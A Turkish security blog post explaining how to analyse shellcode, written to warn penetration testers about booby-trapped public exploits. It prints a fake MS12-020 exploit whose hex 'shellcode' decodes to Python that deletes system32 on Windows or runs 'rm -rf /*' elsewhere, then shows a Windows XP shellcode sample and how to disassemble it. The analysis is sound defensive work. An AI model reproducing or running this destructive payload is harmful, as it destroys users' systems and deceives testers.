KabukKod Analizi

written by Mert SARICA | 1 Mayıs, 2013

Kabukkod (shellcode), tespit edilen güvenlik zafiyetinin istismar edilmesi ile hedef işletim sistemi üzerinde komut satırı erişimi vermeye yarayan bir kod parçasıdır (instructions) bu nedenle istismar kodunun belki de en önemli parçasıdır. Penetrasyon testlerinden, APT (advanced persistent threat) saldırılarına, arka kapılardan, Watering Hole saldırılarına (popüler sitelerin hacklenerek ziyaretçilerinin zararlı yazılım içeren başka sitelere yönlendirilmesi) kadar birçok alanda sıkça kullanılan istismar kitleri dolayısıyla kabukkodlarının analizi de her geçen gün güvenlik uzmanları ve kurumlar için önem kazanmaktadır.

Özellikle penetrasyon testlerinde Metasploit, Core Impact, Canvas ve benzeri istismar araçlarında yer alan ve kabukkod içeren istismar kodları kullanılmadığı sürece Packetstorm, Exploit-DB, 1337day vb. istismar kodu yayınlayan sitelerden indirilen istismar kodlarının dolayısıyla kabukkodlarının test edilmeden, kontrol edilmeden herhangi bir penetrasyon testin de kullanılması hem testi gerçekleştiren hem de kurumlar/müşteriler için oldukça risklidir. Bunun nedeni ise art niyetli kişilerin kimi zaman sahte istismar kodu altında, sisteme zarar veren kabukkodu içeren istismar kodlarını çeşitli internet sitelerinde yayınlamalarından kaynaklanmaktadır.

13 Mart 2012 tarihinde Microsoft tarafından yayınlanan bir bildiride (MS12-020), RDP üzerinde uzaktan komut çalıştırmaya imkan tanıyan kritik bir güvenlik zafiyeti tespit edildiği belirtilmiştir. Bu bildirinin yayınlanmasından kısa bir süre sonra ise hem sosyal medyada hem de çeşitli internet sitelerinde, bu zafiyeti istismar ederek uzaktan komut çalıştırmaya imkan tanıyan istismar kodlarına verilmiştir.

Örneğin Pastebin'de yer alan bu istismar kodu her ne kadar shellcode adında bir değişkene sahip olsa da aslında gerçek anlamda bir kabukkod içermemektedir.

```
shellcode =
"\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79
\x73"
shellcode +=
"\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43
\x3a"
shellcode +=
"\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a
\x20"
shellcode +=
"\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69
```

```
\x6e"
shellcode +=
"\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c
\x61"
shellcode +=
"\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c
\x73"
shellcode +=
"\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e
\x73"
shellcode +=
"\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20
\x2f"
shellcode +=
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69
\x20"
shellcode +=
"\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65
\x20"
shellcode +=
"\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68
\x20"
shellcode +=
"\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64
\x20"
shellcode +=
"\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65
\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"
```

Yukarıda yer alan shellcode değişkenini (kabukkod) aşağıdaki gibi en sade hale getirip,

```
5f5f696d706f72745f5f28276f7327292e73797374656d282764656c202f73202f71202f66204
33a5c77696e646f77735
c73797374656d33325c2a203e204e554c20323e263127292069662027576965720696e205f5f
696d706f72745f5f2827
706c6174666f726d27292e73797374656d282920656c7365205f5f696d706f72745f5f28276f7
327292e73797374656d2
827726d202d7266202f2a203e202f6465762f6e756c6c20323e263127292023686920746865726
65205e5f7e206665656c
20667265652074 6f207370726561642074686973207769746820746865726d202d726620726
5706c616365642077697
46820736f6d657468696e67206d6f726520696e736964696f7573
```

HEX değerlerini ASCII değerlerine çevirdiğimizde,

```
__import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if
'Win' in __import__('platform').system()
else
__import__('os').system('rm -rf /* > /dev/null 2>&1')
#hi there ^_~ feel free to spread this with the rm -rf replaced with
something more insidious
```

yukarıda yer alan bu kodun çalıştırıldığı işletim sisteminin Windows olması durumunda system32 klasörünü sildiğini, Windows dışındaki işletim sisteminde çalıştırılması durumunda ise kök dizin (/) altında yer alan tüm dizinleri sildiğini, kısacası kabukkod adı altında sisteme zarar vermek amacıyla geliştirilmiş Python kodu içeren sahte bir istismar kodu olduğunu görebiliyoruz.

Peki ya gerçek anlamda OPCODElar'dan oluşan bir kabukkod nasıl analiz edilir ?

Örneğin elimizde bir istismar kodundan veya bir zararlı yazılımdan temin ettiğimiz aşağıdaki gibi bir kabukkodu (İngilizce Windows XP SP3'de çalışmaktadır) olduğunu düşünelim. Bunu analiz edebilmek için öncelikle disassemble etmemiz gerekmektedir.

```
31c031db31c931d251686c6c20206833322e64687573657289e1bb7b1d807c51ffd3b95e6730e
f81c11111111151686167654268 4d65737389e15150bb40ae807cffd389e131d252515152ffd0
31c050b812cb817cffd0
```

Bunun için çevrimiçi (online) ve çevrimdışı (offline) olmak üzere 2 yol izleyebiliriz.

Çevrimiçi analiz için Malware Tracker gibi kabukkod analizi yapan ve bize assembly kodunu gösteren bir siteden faydalanabiliriz.

Çevrimdışı analiz için ise kendimizi yormak istemiyorsak (Immunity Debugger aracı ile herhangi bir programı (örnek calc.exe) açıp, ilk 500 baytını kabukkodu ile değiştirip analiz etmek), shellcode2exe aracı ile elimizdeki kabukkodunu (sc.bin) yürütülebilir programa (executable) çevirip (sc.exe) ardından Immunity Debugger aracı ile analiz edebiliriz. (Immunity Debugger ile kabukkoda gelene kadar F8 (Step Over) ile ilerleyip ardından CTRL-A tuşlarına (Analysis Code) basacak olursak kodun analiz için daha da okunaklı bir hale dönüştüğünü görebiliriz.)

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.